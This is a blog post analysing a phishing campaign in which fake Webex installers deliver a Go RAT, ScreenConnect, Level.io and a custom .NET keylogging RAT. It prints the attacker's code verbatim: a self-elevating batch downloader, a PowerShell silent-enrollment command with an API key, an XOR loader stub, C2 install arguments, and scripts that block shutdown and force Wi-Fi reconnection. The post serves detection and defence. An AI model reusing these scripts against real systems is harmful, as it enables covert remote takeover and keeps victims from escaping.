Post

RMM Abuse, Four Times Over: How One Fake Webex Download Chained Rocky RMM, ScreenConnect, and Level.io

A phishing email disguised as a Webex invite led to four different remote-access tools chained together: Rocky RMM, ScreenConnect, and Level.io.

RMM Abuse, Four Times Over: How One Fake Webex Download Chained Rocky RMM, ScreenConnect, and Level.io

The views and opinions expressed in this post are my own and do not represent those of my employer. This is a personal blog where I share research and things I’m learning.

TL;DR

A user downloaded what they thought was a Webex installer. It was a custom Go remote-access tool calling itself “Rocky RMM,” signed with a legitimately-issued code-signing certificate for a newly-registered entity with no plausible tie to Webex or RMM software. Pulling on that thread led to the attacker’s GitHub account, and the account was not just hosting one payload - it was a live staging directory A/B-testing four independent delivery chains to four different remote-access tools (a homebrew Go RAT, ScreenConnect via three separate loader techniques, Level.io RMM, and a custom .NET RAT called “Agta Backup Agent” with a keylogger and hidden-desktop browser hijack), all published over a 48-hour window with real download counts.

If this is your fleet, do these first:

  • Block the C2 IOCs below - especially hxxp[://]155[.]254[.]99[.]248:4080 and the ScreenConnect relay 167[.]94[.]158[.]48:8041
  • Hunt for msiexec /i %TEMP%\*.msi /qn spawned from a user-launched “Setup.exe” or PowerShell - that pattern shows up in three of the four legs
  • Inventory every ScreenConnect/Level.io/RMM install on your fleet and confirm IT actually initiated it

Full IOC tables and YARA rules are at the bottom.

A familiar pattern, an unfamiliar tool

These days, an intrusion doesn’t need custom malware. It just needs three or four different remote-access tools and the patience to try them all until one sticks. RMM abuse has gone from a technique worth flagging to the default playbook - I’ve seen it constantly for months: a fake installer drops, and a real, signed, commercial remote-access tool shows up on the box a few hours later, doing exactly what it was built to do, just for someone who didn’t buy it.

So when a recent signal crossed my desk with all the hallmarks - RMM abuse, multiple tools chained together for persistence - I followed the standard process: isolate the host, work the timeline, contain, remediate, write it up. Closed before lunch.

What I hadn’t seen before, in all those months of the same pattern, was an RMM called “Rocky RMM,” or this particular delivery chain. That’s what nagged at me. So once things quietened down, I went back and pulled the whole chain apart - not for the case file, just because I wanted to know how it actually worked.

That’s when it stopped being one installer and became four.

Here’s how the user actually got there, reconstructed from their browser history: a link in an email opened from hxxps[://]outlook[.]live[.]com - a phishing email, clicked from webmail - dropped them on hxxps[://]webex[.]conferrence[.]live, a typosquatted “Webex” meeting site (note the extra r - “conferrence,” not “conference”). From there it’s a full fake-meeting funnel: /join.php -> /lobby.php -> /download.php?download=1, at which point the site redirects out to a GitHub Releases URL and hands over the real payload. Four pages of meeting-theater before the file ever touches disk.

Once the download actually landed, the file itself had nothing to do with Webex. ClientSetup_en_x64.exe - generic name, no Webex branding anywhere on it - turned out to be a fully statically-linked Go binary, Authenticode-signed, calling itself “Rocky RMM” in its own compiled symbol table. That alone would have been a normal week’s case. What made me keep pulling, once I was back on it out of curiosity rather than obligation, was the delivery mechanism: the file came from a GitHub Releases URL, on an account that was two days old.

So I went and looked at the account.

It had two repositories. One of them, v1, had eight release tags. Every tag was a differently-named “Webex” or “ScreenConnect” installer. Every one had a real download count - not zero, not one, several tags sitting in the teens. I downloaded all eight, hashed everything, and started working through them one at a time. By the end I had four completely unrelated tools on my bench: the Go RAT that started this, three separate ways of installing a genuine ScreenConnect client, a plain-PowerShell dropper for a legitimate RMM called Level.io, and a custom .NET remote-access toolkit with a keylogger and a hidden-desktop browser hijack built in. Same operator, same 48-hour window, four completely different tools.

This is the post about all four - what each one does, how they share infrastructure, and why “block the RAT” is not a complete answer when the operator has three other doors into the same house. If you run ScreenConnect, Level.io, or any other commercial RMM tool anywhere in your environment, read this one closely - the operator here treats them as interchangeable, and your inventory list probably isn’t set up to notice that.

Defender quick reference

FieldDetails
Activity typeRMM-abuse initial access - multi-payload staging repo
Primary artifactsRockyRMMClient.lnk (Startup folder), AgtaBackupAgentSvc (hidden service), popesc.msi (%TEMP%), LEVEL_API_KEY=F528uEYAgf7LxEx9sVtRcmpc
VerdictMalicious - all four legs
ConfidenceHigh (static analysis, verbatim recovered strings/symbols); Probable for the operator-issued ScreenConnect follow-on in Leg 1
Key logsSysmon 1/3/11/13, PowerShell 4104, Windows Security 4688/4698/7045, DNS/proxy
ATT&CKT1204.002, T1553.002, T1574.001, T1219, T1547.001, T1053.005, T1543.003, T1056.001 (full table below)
First defender actionsInventory RMM installs fleet-wide; check Startup folders for unfamiliar .lnk files; hunt msiexec /qn off a user-run setup exe
Detection opportunitiesYARA below; Event ID 4104 for the PowerShell legs; Event ID 7045/4698 for service/task persistence
False-positive notesNone known - none of these four tools have any legitimate reason to reach this operator’s infrastructure

The attack at a glance

Every leg starts the same way: a victim who has been funneled through the typosquatted webex[.]conferrence[.]live meeting site is redirected to a “Webex” (or, in one case, “ScreenConnect”) download hosted on GitHub Releases

  • free, reputable-domain file hosting that dodges the domain-reputation blocking a fresh throwaway domain would trigger immediately. From there, which release tag the victim happens to land on decides which tool they get.
LegWhat’s deliveredLoader techniquePayloadC2 / relay
1. Rocky RMMClientSetup_en_x64.exe in a “WebexSetup” zipNone - direct signed Go binaryCustom Go RAT, then operator-pushed ScreenConnectws[://]rockytomholland[.]casacam[.]net:5222/ws/client
2a. ScreenConnect (batch/R2)WebexSetup-V.7.3.batUAC self-elevate -> PowerShell download -> msiexec /qnGenuine ScreenConnect167[.]94[.]158[.]48:8041
2b. ScreenConnect (DLL sideload)WebeXInstaller.exe + FirewallAPI.dllSigned host sideloads a crypter DLL -> XOR-decrypt -> popesc.msiGenuine ScreenConnect167[.]94[.]158[.]48:8041 (same)
2c. ScreenConnect (direct)ScreenConnect.ClientSetup.4.exePlain installerGenuine ScreenConnect167[.]94[.]158[.]48:8041 (same)
3. Level.ioWebexMeetingSetup.exe (Inno Setup)Plaintext PowerShell Invoke-WebRequest -> msiexec /qnGenuine Level.io RMMAttacker’s Level.io tenant
4. Agta Backup AgentAgtaBackupAgent.msi (WiX)Hidden self-installed service + scheduled-task guardianCustom .NET 8 RAT (hVNC/keylog/steal)hxxp[://]155[.]254[.]99[.]248:4080

Three of the six release tags I pulled - the batch/R2 stage, the DLL-sideload stage, and the direct installer - all converge on the exact same ScreenConnect relay and instance ID. That is not three unrelated actors happening to use the same commercial RMM tool; it is one operator running three loader variants against the same back end, presumably to see which one survives EDR and delivery-channel scrutiny best.

How it works

Leg 1 - Rocky RMM: a homebrew RAT wearing a stolen-looking (but real) signature

The zip is branded “WebexSetup_en.” The file inside it is named ClientSetup_en_x64.exe - no Webex branding anywhere. That mismatch is the first tell, and it’s a cheap one to catch: a real Webex installer says Webex on it.

Here’s where it got interesting, and I want to walk through it in the order I actually did it, because the order matters - each command answers the question the previous one raised.

First question: what actually is this thing. file said PE32+, GUI subsystem. A quick look at the import table settled it before I’d read a single string:

1
2
3
4
$ rabin2 -i extracted/ClientSetup_en_x64.exe | wc -l
48
$ rabin2 -i extracted/ClientSetup_en_x64.exe | awk '{print $NF}' | cut -d! -f1 | sort -u
kernel32.dll

One imported library. Forty-eight imports, every one of them out of kernel32.dll. Skimming the actual names - GetQueuedCompletionStatusEx, CreateIoCompletionPort, RtlVirtualUnwind, AddVectoredExceptionHandler, TlsAlloc - was enough on its own: that’s a Go runtime’s API footprint, not a hand-written C/C++ installer. Nothing here had touched a string yet and I already knew this wasn’t what the zip claimed it was.

That’s confirmed, not guessed, by asking Go’s own toolchain directly:

1
2
3
4
5
6
7
8
9
10
11
$ go version -m extracted/ClientSetup_en_x64.exe
extracted/ClientSetup_en_x64.exe: go1.26.2
        path    rocky-rmm/client
        mod     rocky-rmm/client        (devel)
        dep     github.com/google/uuid  v1.6.0
        dep     github.com/gorilla/websocket     v1.5.3
        build   -ldflags="-s -w -H windowsgui -X rocky-rmm/client/config.DefaultUsername=Stewie"
        build   CGO_ENABLED=1
        build   GOOS=windows
        build   GOARCH=amd64
        build   GOAMD64=v1

-ldflags="-s -w" is supposed to be the stripping flag - it drops the DWARF debug info and the symbol table specifically so tools like this can’t read the build manifest back out. It didn’t work, because Go’s pclntab (the table the runtime itself needs at execution time to unwind a stack trace during a panic) has to survive the strip or the binary can’t run at all. go version -m reads straight from pclntab, not from the stripped-out debug sections - so the “hidden” build info was never actually hidden, it was just in a different table than the one -s -w clears.

Two things jumped out immediately. The module is literally named rocky-rmm/client - the developer’s own name for their own tool, sitting in plaintext in a “Webex installer.” And the -X compile-time flag baking in config.DefaultUsername=Stewie - a hardcoded default identity string, almost certainly a per-build or per-campaign label from whatever builder tool generates these. Neither of those was something I went looking for. They were just sitting there once I asked the right tool the right question.

With the module path in hand, the next move was obvious: pull every string in the binary and grep for anything under that namespace.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
$ strings -n 6 extracted/ClientSetup_en_x64.exe > strings_all.txt
$ wc -l strings_all.txt
16044 strings_all.txt
$ grep -oE "rocky-rmm/[A-Za-z0-9_./-]+" strings_all.txt | sort -u
rocky-rmm/client/config.Config
rocky-rmm/client/config.DefaultUsername
rocky-rmm/client/config.Load
rocky-rmm/client/config.Save
rocky-rmm/client/connection.Connect
rocky-rmm/client/connection.NewConnection
rocky-rmm/client/connection.StartWithReconnect
rocky-rmm/client/connection.handleMessage
rocky-rmm/client/connection.heartbeat
rocky-rmm/client/connection.readMessages
rocky-rmm/client/connection.reconnect
rocky-rmm/client/connection.register
rocky-rmm/client/handlers.DownloadFile
rocky-rmm/client/handlers.ExecuteCommand
rocky-rmm/client/handlers.ExecuteFile
rocky-rmm/client/handlers.FileInfo
rocky-rmm/client/handlers.ListFiles
rocky-rmm/client/handlers.Uninstall
rocky-rmm/client/handlers.UploadFile
rocky-rmm/client/persistence.Install
rocky-rmm/client/persistence.IsInstalled
rocky-rmm/client/utils.GetClientID
rocky-rmm/client/utils.GetHostname
rocky-rmm/client/utils.GetRAM
rocky-rmm/client/utils.GetWindowsUsername

One regex, one command, and the entire capability set of the tool falls out as a sorted list of its own internal function names - ExecuteCommand, ExecuteFile, DownloadFile, UploadFile, ListFiles, Uninstall. That’s not a downloader and it’s not a stealer. That’s a remote-access client, full stop, and I know its exact feature list before I’ve looked at a single byte of disassembly.

Last question: where does it call home. Same file, different grep:

1
2
3
4
$ grep -oE "wss?://[A-Za-z0-9./_:%?&=-]+" strings_all.txt | sort -u
ws[://]rockytomholland[.]casacam[.]net:5222/ws/client
$ grep -inE "screenconnect|connectwise" strings_all.txt
$

The second grep came back empty - genuinely useful information. Whatever ScreenConnect access I’d later see traced back to this host was not baked into the binary; this implant never mentions ScreenConnect anywhere. The first grep is the one that mattered: a single hardcoded websocket URL, sitting in plaintext, no encoding, no obfuscation. Confirming it was live was a five-second formality:

1
2
3
4
$ dig +short rockytomholland[.]casacam[.]net A
45[.]156[.]87[.]171
$ timeout 5 bash -c "cat < /dev/null > /dev/tcp/45[.]156[.]87[.]171/5222" && echo OPEN
OPEN

Four commands - an import-table check, a Go toolchain query, a grep against the module path it revealed, and a grep for URLs - and I had the whole picture: a real, currently-listening command-and-control endpoint, a full remote-access capability list, and the developer’s own name for their tool, all without opening a disassembler once. That’s the part of this job I find genuinely satisfying: the binary told me what it was, I just had to ask it the right sequence of questions.

The signature is real, for what that’s worth. It’s issued to “Space Solar Technologies LLC” - a newly-registered entity with no plausible connection to Webex or remote-access software - and the certificate itself was issued roughly ten days before this build. I haven’t independently verified the company’s registration history, so I won’t call it a shell company outright, but the timing and the total mismatch between signer and software are consistent with a certificate-abuse pattern: register an entity, get a cert validated, burn it fast before reputation catches up. It has not been revoked as of this writing.

On every launch, the binary writes and runs a generated VBScript via cscript //nologo that drops a shortcut into the current user’s Startup folder:

Set oWS = WScript.CreateObject("WScript.Shell")
sLinkFile = "%s"
Set oLink = oWS.CreateShortcut(sLinkFile)
oLink.TargetPath = "%s"
oLink.WorkingDirectory = "%s"
oLink.Description = "Rocky RMM Client"
oLink.Save

Recovered verbatim from the binary’s data section, not reconstructed - the three %s placeholders are filled at runtime with the shortcut path, the running executable’s own absolute path, and its working directory. No installer copies the file anywhere; the “install location” is wherever the victim happened to extract the zip.

This is a small example of a much bigger pattern: cscript.exe is a signed, everywhere-available Windows interpreter doing exactly what it’s designed to do, just at the attacker’s direction instead of an administrator’s. Rocky RMM’s loader-free persistence and Leg 2’s repeated use of msiexec.exe for silent installs are both the same story. If that shape is unfamiliar, LOLBins and living-off-the-land tradecraft is worth a read - it’s the broader category this whole campaign leans on.

Once it’s live, the client opens that websocket and registers with a persisted UUID, hostname, username, and RAM. Port 5222 is the standard XMPP port - a mildly clever choice if the goal is to blend past simplistic port-based filtering that assumes anything on 5222 is chat traffic. The command set behind that socket is a full RMM toolkit: arbitrary command execution, arbitrary file execution, file upload/download, directory listing, and self-uninstall. Nothing hardcoded in this binary ever mentions ScreenConnect - but with ExecuteCommand and DownloadFile + ExecuteFile already live, the operator doesn’t need it hardcoded. That’s “dual-RMM” tradecraft: keep a low-noise custom implant as the resilient foothold, then use its own capability to pull down a second, fully-legitimate commercial RMM tool for hands-on access that blends into normal admin traffic. Blocking ScreenConnect wholesale breaks legitimate helpdesk use for a lot of organizations, which is exactly why an operator wants one leg that doesn’t depend on it.

Leg 2 - ScreenConnect, three different ways in

This is the leg that made the “one operator, one back end” case for me. Three separate release tags on the same GitHub account each deliver a completely different loader, and all three land on the exact same ScreenConnect relay, instance ID, and operator label.

2a - the batch file. The smallest release asset in the whole campaign is an 806-byte zip containing a single .bat file. It self-elevates, then hands off to PowerShell:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
set "URL=hxxps[://]pub-ad3ebf54119e4cd3885d253c9afe3ba9[.]r2[.]dev/sccp.msi"
set "MSI=%TEMP%\ScreenConnect.ClientSetup.msi"

net session >nul 2>&1
if %errorlevel% NEQ 0 (
    powershell -NoProfile -Command "Start-Process '%~f0' -Verb RunAs"
    exit /b
)

echo Installing Webex Meeting v7.0.2 (34412), please wait....
powershell -NoProfile -ExecutionPolicy Bypass -Command ^
  "$wc = New-Object System.Net.WebClient;" ^
  "$wc.Headers['User-Agent'] = 'Mozilla/5.0';" ^
  "$wc.DownloadFile('%URL%','%MSI%');"

msiexec /i "%MSI%" /qn /norestart

The fake progress string (“Installing Webex Meeting v7.0.2…”) is the only social-engineering effort in the whole script - everything after it is a plain download-and-silent-install. The MSI comes from a Cloudflare R2 bucket, which is new infrastructure on top of the GitHub Releases hosting used by every other leg - a second, independent hosting channel for the same ScreenConnect payload.

2b - the DLL sideload. This one is the most technically interesting piece of the whole campaign. The delivered file, WebeXInstaller.exe, is not trojanized at all - it’s a byte-for-byte genuine copy of EnableLoopback.exe, a signed Progress Software utility that ships with Fiddler, just renamed. Its Authenticode signature verifies cleanly; both the SHA1 and SHA256 digests match the signed hash exactly. The malice is entirely in a second file dropped next to it: FirewallAPI.dll.

The signed EXE calls four Windows networking functions (NetworkIsolationEnumAppContainers and friends) by bare DLL name, and DLL search order means a same-named file sitting next to the EXE wins over the real system one - classic DLL search-order sideloading (T1574.001). The attacker’s FirewallAPI.dll doesn’t forward to the real functions at all; every export routes to the same small stub that does the actual work:

1
2
3
4
5
6
7
8
9
Sleep(3000);                                    // anti-sandbox delay
CreateDirectoryA("C:\\temp", NULL);
GetTempPathA(0x104, tmp);
lstrcatA(tmp, "popesc.msi");                    // -> %TEMP%\popesc.msi
for (i = 0; i < 0xceb000; i++)
    buf[i] = data_at_VA_0x391703040[i] ^ 0xB8;   // single-byte XOR, key 0xB8
WriteFile(h, buf, 0xceb000, ...);
if (!CreateProcessA(NULL, tmp, ...))
    ShellExecuteA(NULL, "open", tmp, ...);

The DLL’s own .data section sits at 7.96 bits of entropy out of a possible 8 - as close to random-looking as data gets - which is exactly what you’d expect from 13.5MB of XOR ciphertext. That high entropy is also what tripped a handful of false-positive “embedded PE” hits in automated scanning (a couple of ciphertext byte-pairs happen to start with MZ), which is worth flagging honestly rather than chasing: they disappear the moment you actually decrypt the blob. The real key here is a single byte, 0xB8, applied across the whole 13.5MB block - no AES, no RC4, fully recoverable by just XOR-ing the bytes back. What comes out is a valid MSI, popesc.msi, containing a real ScreenConnect Client 25.2.4.9229 configured to phone the same relay as leg 2a.

2c - the direct installer. No loader tricks at all - just ScreenConnect.ClientSetup.4.exe, genuinely signed by ConnectWise, configured to the same relay. Sometimes the simplest option is also on the menu, in case the more elaborate ones get flagged.

All three converge on:

1
2
3
Relay:    167[.]94[.]158[.]48:8041
Instance: d08195f142b8bd3b
Label:    Popepagascreen / IT Department

The &c= labels embedded in the ScreenConnect launch parameters are the strings shown to the victim during a session - “IT Department” is the helpdesk cover story, and “Popepagascreen” looks like an internal operator naming convention that leaked into a config field. It shows up again as the dropped filename popesc.msi in leg 2b - a soft fingerprint tying all three ScreenConnect variants to the same person or crew, independent of the shared relay IP.

Leg 3 - Level.io, played completely straight

This is the leg with the least engineering effort behind it, and it’s worth including precisely because of that. The installer is a genuine Inno Setup 7 package masquerading as “CiscoWebex.” It carries no bundled files and no [Code] section - just one [Run] entry that launches PowerShell in plain text:

1
2
3
4
5
-NoProfile -ExecutionPolicy Bypass -Command $args = 'LEVEL_API_KEY=F528uEYAgf7LxEx9sVtRcmpc'; `
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; `
$tempFile = Join-Path ([System.IO.Path]::GetTempPath()) 'level.msi'; `
Invoke-WebRequest -Uri 'hxxps[://]downloads[.]level[.]io/level.msi' -OutFile $tempFile; `
Start-Process msiexec.exe -Wait -ArgumentList ('/i "' + $tempFile + '" ' + $args + ' /qn')

That’s the entire attack. No obfuscation, no packing, no anti-analysis. It downloads the real Level.io agent from Level.io’s own official download server and silently enrolls the machine into the attacker’s Level.io tenant using a hardcoded API key. There is nothing to reverse-engineer here because there’s nothing hidden - the abuse is entirely in the fact that a legitimate, signed, vendor-hosted RMM agent will happily enroll into whichever tenant the installing key points at, and the operator’s key is baked directly into the installer rather than typed by a technician. Once installed, the operator has persistent shell, file transfer, and scripting access through Level.io’s own legitimate infrastructure - which is precisely why this leg is dangerous even though it’s the “boring” one: there’s no malware signature to catch, because there’s no malware in it.

Leg 4 - Agta Backup Agent: the one they actually built

Where legs 1 through 3 either write custom loaders around commodity RMM tools or ship one homebrew RAT, leg 4 is a full custom toolkit. The delivered MSI, “Agta Backup Agent,” is a WiX-built installer that drops five separate single-file .NET 8 executables, each disguised as security software:

Masquerading nameInternal role
Credential Guard.exeMain service - C2 orchestrator, self-heal host
Dell.sub.Agent.exeRemote-desktop video stream (DXGI Desktop Duplication)
Dell Window Guard.exeInteractive cmd/PowerShell terminal
Dell.Virus.Guard.exeHidden-desktop browser hijack (hVNC)
Window Security Health Services.exeKeylogger

“Credential Guard,” “Dell Virus Guard,” “Windows Security Health Services” - every single one of these names is chosen to look like it belongs in Task Manager next to the real Windows security stack. All five share one embedded core library, AgtaCore.dll, byte-identical across every drop (same build GUID), which handles the internal named-pipe framing between components.

Installation happens through a custom action that self-installs the service

  • meaning it never shows up in the MSI’s own service table, only running code creates it - which is how the operator gets a hidden service (ARPSYSTEMCOMPONENT=1 also keeps the whole thing out of Add/Remove Programs):
1
2
3
"Credential Guard.exe" --install-service --prod \
  --checkin-url "hxxp[://]155[.]254[.]99[.]248:4080" \
  --checkin-secret "agta-enroll-7f3a1c2d9e"

The capability list is long, and it’s the one leg here that goes past “remote access” into full account-takeover territory: real-time remote desktop with input injection, an interactive terminal, and a hidden-desktop browser hijack that spins up a separate Windows desktop object (WinSta0\AgtaBackstage) and drives the victim’s Chromium/Brave session inside it - invisibly, on a desktop the victim never sees, while their own screen shows something else entirely. It also enumerates and zips entire Chromium browser profiles for offline exfiltration, and runs a genuine keylogger via a global SetWindowsHookEx hook, complete with clipboard capture and address-bar reading through UI Automation so it knows which site a keystroke was typed into. All of it drains over internal named pipes (agta-keylog-drain, agta-ws-stream, agta-bs-shell) back to the main service, which relays it to the C2.

Persistence is a “guardian” scheduled task running a self-heal script that re-registers the hidden service if it’s ever removed, and the toolkit can self-update by polling /AgtaBackupAgent.version and pulling a fresh MSI - so this is not a fire-and-forget implant, it’s actively maintained infrastructure sitting behind a live operator panel.

The operator console: this isn’t just remote access, it’s victim control

This is the part of the campaign that changed how I read the whole operation. The Agta C2 exposes an unauthenticated version endpoint and a JavaScript bundle for its operator panel - static reconnaissance only, nothing that required touching any victim session - and that bundle ships 19 named “quick-command” scripts an operator can fire at any connected machine. Most of them are what you’d expect: lock the workstation, restart, shut down, send a Wake-on-LAN magic packet. Two of them are not what you’d expect at all.

“Disable power options” does exactly what it says, and it’s thorough about it. It hides and zeroes out the power button, sleep button, and lid- close actions in the active power scheme, strips the local security policy’s shutdown and remote-shutdown privileges via secedit, and hides the Start Menu’s shutdown/logoff options through Explorer policy keys. It even sets an Image File Execution Options debugger redirect on SlideToShutDown.exe so that Windows’ own slide-to-shut-down gesture launches systray.exe instead of actually shutting the machine down:

1
2
3
4
New-ItemProperty -Path $k -Name 'HidePowerOptions' -Value 1 -PropertyType DWord -Force
New-ItemProperty -Path $ifeo -Name 'Debugger' -Value '%windir%\System32\systray.exe' `
  -PropertyType String -Force
powercfg /hibernate off

The script’s own return message is the clearest summary I could write myself: “Power LOCKED… Only a 4s+ physical power-button HOLD can still force-off (firmware).” The operator has explicitly engineered around every software path to turning the machine off, leaving only a hardware button hold as an escape hatch.

“Lock Wi-Fi (stay online)” is the same idea applied to network connectivity. It doesn’t just disconnect or reconnect Wi-Fi once - it drops a persistent watchdog script (wifi-keeper.ps1) onto disk and registers it as a hidden, SYSTEM-level scheduled task that loops roughly every second, checking adapter state and force-reconnecting to the last-known network if the link ever drops:

1
2
3
4
5
6
7
8
9
10
11
while ($true) {
  $nic = WlanNic
  if ($nic.Status -eq 'Up') {
    $cur = (Get-NetConnectionProfile -InterfaceIndex $nic.ifIndex).Name
    if ($cur) { Set-Content -Path $last -Value $cur }
  } elseif ($nic) {
    $ok = TryConnect $nic $pref
    if (-not $ok) { foreach ($p in @(SavedProfiles)) { if (TryConnect $nic $p) { $ok=$true; break } } }
  }
  Start-Sleep -Milliseconds 700
}

It also hides the Wi-Fi toggle from the system tray via registry policy. The tool’s own output is candid about the intent: “If you can still see/tap the toggle, disconnecting will NOT stick - the keeper pulls it back.”

There’s a third script worth flagging alongside these two - “Hide SC (deploy wrapper)” - which registers a hidden, SYSTEM-level, Highest-run-level scheduled task purely to launch a script called Sc-Cleaner.vbs with no UAC prompt, then deletes the task immediately after running it. The naming (“SC” strongly implying ScreenConnect) and the “cleaner” label suggest this exists specifically to hide or clean up ScreenConnect artifacts on demand - a purpose-built, no-UAC execution wrapper for whatever follow-on tooling the operator wants to run invisibly.

Put together, this isn’t a stealer quietly exfiltrating data in the background. It’s built for a live, hands-on-keyboard session where the operator needs the victim to stay put and stay connected - the pattern you’d expect behind a tech-support-scam or “your bank account is compromised, stay on the line” style call, not a passive credential-harvesting implant. Whatever this campaign’s actual monetization is, the tooling was clearly built with “keep the human in the chair” as a first-class requirement, alongside the credential theft.

Infrastructure: one operator, two hosting channels, one shared relay

Pulling all four legs together, the infrastructure picture is small and consistent, which is itself informative - this isn’t a sprawling botnet with dozens of independent C2s, it’s one operator running a tight, actively maintained toolkit.

The staging account. A GitHub account, created roughly ninety minutes before its only real repository. Two public repos; the one that matters holds eight release tags published across a 48-hour window, each one a different delivery asset, several with real double-digit download counts - evidence of live victims and/or automated sandboxes actually pulling these files during the analysis window.

Two hosting channels. GitHub Releases for every payload variant, plus a second Cloudflare R2 bucket (pub-ad3ebf54119e4cd3885d253c9afe3ba9[.]r2[.]dev) used specifically to host the batch-delivered ScreenConnect MSI - a second, independent route to the exact same payload, in case the first gets taken down or flagged.

One shared relay, three routes to it. The ScreenConnect relay at 167[.]94[.]158[.]48:8041 (a Hyonix VPS) is reached by three completely independent loader chains. Same relay, same instance ID (d08195f142b8bd3b), same operator label. That’s the strongest single piece of evidence that legs 2a, 2b, and 2c are the same operator running parallel delivery experiments rather than three unrelated actors who happen to use the same commercial RMM vendor.

A live, actively-developed C2 panel. The Agta C2 at hxxp[://]155[.]254[.]99[.]248:4080 runs a Kestrel/ASP.NET Core backend behind a React frontend, with a ticket-based multi-tenant login flow (/api/auth/ticket, /api/auth/redeem) - the kind of design choice that suggests this panel is built to serve more than one operator or campaign, not a single bespoke deployment. The version endpoint is unauthenticated and returned the current build number without any access control at all.

A validated identity, not a stolen one. The SSL.com certificate for “Space Solar Technologies LLC” passed OV (organization-validated) issuance - SSL.com confirmed the entity exists before signing anything, so this isn’t a lifted or forged signature riding on a real vendor’s trust. It was issued just ten days before the build it signs. I haven’t verified the company’s registration history myself, so I’m not asserting it’s a shell company - the timing and the total mismatch between the signer’s name and remote-access software are consistent with certificate-abuse tradecraft, not proof of intent I can point to directly. Code-signing certificates don’t appear in Certificate Transparency logs (that only covers TLS), so crt.sh is a dead end for pivoting on this identity; a business-registry lookup is the remaining avenue, and I’d flag the serial number (414d426bd6f09fc60814af48f5bb4942) to SSL.com regardless.

A soft naming fingerprint. “Popepagascreen” / “popesc.msi” / “Popepaga” recurs across the ScreenConnect legs and inside the Agta panel’s own “AgtaHideSC” quick-command feature name. It’s not a confirmed handle or identity, but it is consistent enough across independently-recovered artifacts to be worth tracking if this operator resurfaces.

One more thing worth being straightforward about: the wider open-source threat-intel community has already published on campaigns that look and behave a lot like this one - the same “Level.io plus ScreenConnect plus a custom Agta-branded RAT” combination, the same workplace-videocall lure pattern (Teams, Zoom, Webex), and in at least one public write-up, an Agta MSI carrying the identical product code seen here. I take that overlap seriously enough to flag it, but I want to be honest about its limits too: I have not independently verified the specific operator identity or geography claimed in that reporting, and a shared toolkit or a shared commercial C2 platform doesn’t by itself prove a shared operator. What I can say with confidence is that this is not a one-off - the “Level + ScreenConnect + a custom keylogging RAT, redundantly deployed” shape is now a repeating, documented playbook, and this campaign is one more instance of it.

Why this matters

Strip away the branding and what’s left is full remote command execution, arbitrary file read/write, and persistence, delivered through four independent channels at once. That redundancy is the actual threat model here, more than any single tool’s capability: if a defender blocks ScreenConnect fleet-wide, three other footholds - the Go RAT, Level.io, and Agta - are still live on any host that got more than one leg. Any of the four gives an operator a durable channel to push a second-stage tool of their choosing, and the Agta leg specifically adds session-token and browser- credential theft, real-time hidden-desktop browsing under the victim’s own authenticated sessions, and a keylogger tied to browser URL context - a complete kit for account takeover, not just a foothold.

The operator-console findings push this past “espionage-shaped RAT” into something closer to remote-fraud tradecraft: purpose-built scripts to stop a victim from powering off their machine or leaving Wi-Fi are not features a quiet, long-term implant needs. They’re features a live, hands-on-keyboard social-engineering operation needs. Whoever’s behind this has built tooling for a scenario where the victim is on the phone and needs to stay there.

Techniques observed (MITRE ATT&CK)

The following techniques have been mapped to MITRE ATT&CK for future reference, starting from the reconstructed initial-access vector: a phishing link opened from webmail, routing through a typosquatted meeting site before redirecting to the GitHub Releases payload.

TacticTechniqueATT&CK IDWhat it did here
Initial AccessPhishing: Spearphishing LinkT1566.002Link opened from Outlook webmail led to the typosquatted webex[.]conferrence[.]live meeting site
ExecutionUser Execution: Malicious FileT1204.002Victim ran a “Webex”/”ScreenConnect” installer with no real Webex branding
Defense EvasionSubvert Trust Controls: Code SigningT1553.002Rocky RMM signed with a legitimate SSL.com cert issued ~10 days pre-build to an unrelated-name entity
Defense EvasionDLL Search-Order SideloadingT1574.001Signed Progress EnableLoopback.exe sideloads attacker FirewallAPI.dll
Defense EvasionDeobfuscate/Decode Files or InformationT1140Single-byte XOR (key 0xB8) decrypts the dropped ScreenConnect MSI
Defense EvasionMasquerading: Match Legitimate NameT1036.005“CiscoWebex,” “Credential Guard.exe,” “Dell.Virus.Guard.exe”
PersistenceBoot or Logon Autostart: Startup FolderT1547.001Rocky RMM writes a .lnk via generated VBScript on every launch
PersistenceScheduled TaskT1053.005Agta’s guardian task, Wi-Fi keeper, and hidden SC-launcher wrapper
PersistenceCreate or Modify System Process: Windows ServiceT1543.003Agta self-installs a hidden AgtaBackupAgentSvc
ExecutionPowerShellT1059.001Batch/R2 and Level.io legs both drop to plaintext PowerShell
ExecutionSystem Binary Proxy Execution: MsiexecT1218.007msiexec /qn used to silently install ScreenConnect and Level.io
Command and ControlApplication Layer Protocol: Web ProtocolsT1071.001Websocket and HTTP C2 for Rocky RMM and Agta
Command and ControlNon-Standard PortT1571Rocky RMM C2 on TCP 5222 (XMPP port, non-XMPP protocol)
Command and ControlRemote Access SoftwareT1219All four legs - the through-line of the whole campaign
CollectionCredentials from Web BrowsersT1555.003Agta zips and exfiltrates entire Chromium browser profiles
CollectionInput Capture: KeyloggingT1056.001Agta’s SetWindowsHookEx keylogger with browser-URL context
Defense EvasionHide Artifacts: Hidden WindowT1564.003Agta’s hVNC runs on a separate, invisible WinSta0 desktop
DiscoverySecurity Software DiscoveryT1518.001Agta enumerates installed AV via SecurityCenter2
Privilege EscalationAccess Token ManipulationT1134Agta’s token duplication to run in interactive sessions
Impact(no clean single ID)-Power/Wi-Fi “captivity” scripts - registry policy + security-policy edits to block user-initiated shutdown/disconnect

What defenders can do

This post is about the investigation, not a defensive teardown - that’s a separate piece I might write later. For now, the compact version:

Technique (ATT&CK)What to doEssential EightWhat to hunt for
User execution of fake installers (T1204.002)Application control on .exe/.msi from Downloads/TempApplication ControlSysmon 1/11 for a setup-named binary run from Downloads with no matching digital-signature reputation
RMM tool abuse - any of the four (T1219)Inventory every RMM agent on the fleet; alert on any install/enrollment not initiated by ITRestrict Administrative PrivilegesNew RMM service install (7045); unfamiliar relay/tenant in an existing RMM’s config
Persistence - Startup/task/service (T1547.001, T1053.005, T1543.003)Baseline Startup folders and scheduled tasksRestrict Administrative PrivilegesEvent ID 4698 (task created), 7045 (service installed)
